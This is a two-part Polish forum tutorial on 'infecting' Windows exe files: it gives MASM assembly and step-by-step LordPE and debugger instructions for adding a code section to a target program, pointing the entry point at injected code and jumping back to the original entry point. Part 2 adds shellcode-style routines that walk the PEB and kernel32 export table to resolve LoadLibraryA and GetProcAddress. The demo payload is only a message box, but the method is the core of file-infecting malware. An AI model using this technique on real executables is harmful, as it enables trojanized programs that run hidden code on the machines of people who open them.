[Tutorial]Infekcja plików exe cz.1

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
Infekcja plików exe ? Tutorial
cz.1 - XP

Przygotowałem tutorial na temat infekcji plików exe.
Co będzie nam potrzebne:
- Defixed lub inny debugger
- LordPe
- Hexplorer lub inny hexedytor
- masm
- znajomosc asmeblera

Zasada dzialania:
Do docelowego programu dodajemy dodatkowa sekcje z kodem i ustawiamy na nia Entry Point wykonujemy nasz kod a nastepnie skaczemy do miejsca starego Entry Pointu

Zaczynamy

Najpierw znajdzmy plik ktory chcemy zmodyfikowac i dodac do niego swoj kod.
Jeśli juz go mamy musimy napisac swoj kod ktory ma zostac wykonany. Napiszemy go w asemblerze ale tak aby zadna

funkcja nie byla importowana z IAT(tablica importow). Posluzy nam do tego masm.

Kod:
GetFunc PROC adr1:dword,adr2:dword
PUSH adr1      ;rzucamy na stos nazwe dll`ki
mov eax,7C801D7Bh    ;kopiujemy do eax adres LoadLibraryA
CALL eax    ;wywolujemy LoadLibraryA
PUSH adr2    ;rzucamy na stos nazwe importowanej funkcji
PUSH eax    ;rzucamy na stos adres biblioteki
mov eax,7C80AE30h    ;kopiujemy do eax adres GetProcAddress
CALL eax    ;wywolujemy GetProcAddress
ret    ;zwracamy adres funkcji
GetFunc endp

w naszym kodzie wywolamy funkcje MessageBoxA.
Napiszmy wiec kod
Kod:
.386
.model flat,stdcall
option casemap:none
GetFunc PROTO :dword,:dword
.data
msg db "MessageBoxA",0
dll db "user32.dll",0
wiad1 db "kodzik",0
wiad2 db "msg",0
.code
start:
PUSH OFFSET msg      ;rzucamy na stos nazwe funkcji
PUSH OFFSET dll      ;rzucamy na stos nazwe dll`ki
CALL GetFunc          ;wywoujemy nasza funkcje pobierajaca adres
PUSH 0                ;rzucamy parametry funkcji MessageBoxA
PUSH OFFSET wiad1    ;rzucamy parametry funkcji MessageBoxA
PUSH OFFSET wiad2    ;rzucamy parametry funkcji MessageBoxA
PUSH 0                ;rzucamy parametry funkcji MessageBoxA
CALL eax              ;wywolujemy MessageBoxA
xor eax, eax          ;zerujemy eax
ret                  ;koniec;musimy zostawic kilka NOP`ow aby po tym kodzie zrobic skok do starego EP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

;nasza funkcja :)
GetFunc PROC adr1:dword,adr2:dword
PUSH adr1            ;rzucamy na stos nazwe dll`ki
mov eax,7C801D7Bh    ;kopiujemy do eax adres LoadLibraryA
CALL eax              ;wywolujemy LoadLibraryA
PUSH adr2            ;rzucamy na stos nazwe importowanej funkcji
PUSH eax              ;rzucamy na stos adres biblioteki
mov eax,7C80AE30h    ;kopiujemy do eax adres GetProcAddress
CALL eax              ;wywolujemy GetProcAddress
ret                  ;zwracamy adres funkcji
GetFunc endp

;tu zostawiamy troche nopow ktore beda nam potrzebne pozniej do wrzucenia stringow
NOP
NOP
NOP
NOP
NOP
...
...
...

end start

Ten kod kompilujemy prace z masmem mamy za soba.
Teraz musimy otworzyc hexedytor i przekopiowac nasze stringi w miejsce nopow ktore zostawilismy na koncu
http://img329.imageshack.us/img329/5193/81970425.jpg
http://img37.imageshack.us/img37/4049/31100984.jpg
zaznaczamy stringi ktore mamy nizej w sekcji data i naciskamy ctrl+c potem klikamy w miejsce nopow i naciskamy ctrl+v
nastepnie zapisujemy ten plik.

Koniec zabawy z hexedytorem

Teraz nalezy zapisac stary entry point na kartce w tym celu otwieramy defixed i otwieramy w nim plik ktory bedziemy
modyfikowac. Otworzy się nam okno z kodem tego programu i musimy przepisac numer ktory jest na na czarnym tle w

kolumnie address(najczesciej 00401000 choc moze byc inny)

Teraz musimy przekopiowac sekcje kodu do docelowego programu.
uzyjemy do tego programu LordPE
otwieramy go i klikamy na PE editor wybieramy plik ktory chwile temu modyfikowalismy i klikamy na

sections wybieramy ta sekcje ktora ma flage 60000020 (zwykle nazywa sie code lub text) i kliakmy na niej

prawym przyciskiem myszy i wybieramy save section to disc i zapisujemy sekcje w pliku na dysku
nastepnie otwieramy docelowy plik przez LordPE i postepujemy tak samo jak w przypadku pliku wczesniejszego z tym ze

tutaj robimy Load section from disc i wybieramy wczesniej zapisaną sekcje i zapisujemy(np. na kartce) VOffset

dodanej sekcji. i na nowej sekcji klikamy prawym przyciskiem myszki i klikamy na edit section header
ustawiamy flags na 60000020 klikamy ok. pozostaje jeszcze jedno zmienic entry point na ten zapisany na

kartce(Voffset).
wiec w pierwsze pole w glownym oknie wpisujemy nowy entry point i klikamy save.

Teraz trzeba bedzie zmodyfikowac adresy stringow na takie ktore mamy w kodzie na rysunku zaznaczylem gdzie sie

zaczynaja jakie stringi(string zaczyna sie znakiem a konczy 00)
http://img26.imageshack.us/img26/1110/63811952.jpg
http://img257.imageshack.us/img257/9539/56582823.jpg
Teraz trzeba w miejsce wskazane na drugim rysunku w miejsce RET wpisac JMP stary_entry_point
Np. JMP 00401000 Zapisujemy teraz plik(copy to executable->all modyfication) i cieszymy sie zainfekowanym plikiem.

kod zrodlowy

Ta metoda dziala tylko w systemie XP i nizszych gdyz w Viscie kernel32.dll nie jest ladowany zawsze pod ten sam adres
o tym jak zrobic to w viscie w cz.2 ktora mam nadzieje niebawem powstanie
smile.gif




Tutorial pochodzi ze strony grzonu.pl i nie moze byc kopiowany bez zgody autora
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
Cz.2

Tak jak obiecałem powstała część druga tutorialu dotyczącego infekcji plikow exe
Robimy to identycznie jak w części pierwszej z tym ze procedura szukająca nie moze kozystac z adresow GetProcAddress i LoadLibrary wpisanych na stałe.

Musimy napisac procedurę szukającą adresu GetProcAddress i LoadLibrary
Kod:
;ta funkcja zwroci adres GetProcAddress
GetPr PROC 
get_delta:    
            
            mov eax,fs:dword ptr [30h]
            mov    eax, [eax+0Ch]        
        mov    esi, [eax+1Ch]        
        lodsd                
        mov    ebx, [eax+08h]        

        mov    edx, [ebx+3Ch]
        add    edx, ebx

        mov    edx, [edx+78h]
        add    edx, ebx        
        mov    esi, [edx+20h]
            add    esi, ebx        
        xor    ecx, ecx        


find_GetProcAddr:
        inc    ecx
        lodsd                
        add    eax, ebx
           
           
                .IF byte ptr [eax]==71 && byte ptr[eax+1] == 101 && byte ptr[eax+2] == 116 && byte ptr[eax+3] == 80 && byte ptr[eax+4] == 114 && byte ptr[eax+5] == 111
                    .IF byte ptr[eax+6] == 99 && byte ptr[eax+7] == 65 && byte ptr[eax+8] == 100 && byte ptr[eax+9] == 100 && byte ptr[eax+0Ah] == 114 && byte ptr[eax+0Bh] == 101   
                    NOP
                    .ELSE
                    JMP find_GetProcAddr
                    .ENDIF
                .ELSE
                JMP find_GetProcAddr
                .ENDIF
                
                       
               dec    ecx            
            mov    esi, [edx+1Ch]        
        add    esi, ebx
        mov    edx, [esi+ecx*4]
        add    edx, ebx        
        mov eax,edx
            ret
GetPr endp

Kod:
;ta funkcja pobiera adres LoadLibraryA
GetLoadLib PROC

get_delta:    
            mov eax,fs:dword ptr [30h]
            mov    eax, [eax+0Ch]        
        mov    esi, [eax+1Ch]        
        lodsd                
        mov    ebx, [eax+08h]        

        mov    edx, [ebx+3Ch]
        add    edx, ebx

        mov    edx, [edx+78h]
        add    edx, ebx        
        mov    esi, [edx+20h]
            add    esi, ebx        
        xor    ecx, ecx        


find_GetProcAddr:
        inc    ecx
        lodsd                
        add    eax, ebx
           
           
                .IF byte ptr [eax]==76 && byte ptr[eax+1] == 111 && byte ptr[eax+2] == 97 && byte ptr[eax+3] == 100 && byte ptr[eax+4] == 76 && byte ptr[eax+5] == 105
                    .IF byte ptr[eax+6] == 98 && byte ptr[eax+7] == 114 && byte ptr[eax+8] == 97 && byte ptr[eax+9] == 114 && byte ptr[eax+0Ah] == 121 && byte ptr[eax+0Bh] == 65   
                    NOP
                    .ELSE
                    JMP find_GetProcAddr
                    .ENDIF
                .ELSE
                JMP find_GetProcAddr
                .ENDIF
                
                       
               dec    ecx            
                      

        mov    esi, [edx+1Ch]        
        add    esi, ebx
        mov    edx, [esi+ecx*4]
        add    edx, ebx        
        mov eax,edx
            ret


GetLoadLib endp

A nasza stara funkcja do szukania adresu dowolnej funkcji ma teraz następującą postac

Kod:
GetFunc PROC adr1:dword,adr2:dword
                                
CALL GetLoadLib;pobieramy adres LoadLibraryA
PUSH adr1        ;rzucamy na stos nazwe ladowanej biblioteki
CALL eax          ;Wywolujemy LoadLibraryPUSH adr2;rzucamy na stos nazwe funkcji
PUSH eax         ;rzucamy na stos uchwyt zwrocony przez LoadLibrary
CALL GetPr       ;Wywolujemy funkcje szukajaca adresu GetProcAddress
CALL eax          ;Wywolujemy GetProcAddress
ret;Zwracamy adres poszukiwanej funkcji
                                    
GetFunc endp

caly kod zrodlowy jest TU

Wiem ze ten kod mógłby wyglądać duzo ladniej ale jakos nie mialem pomyslu zeby go upiększyć
smile.gif
jak ktos chce to prosze bardzo
smile.gif
 
Do góry Bottom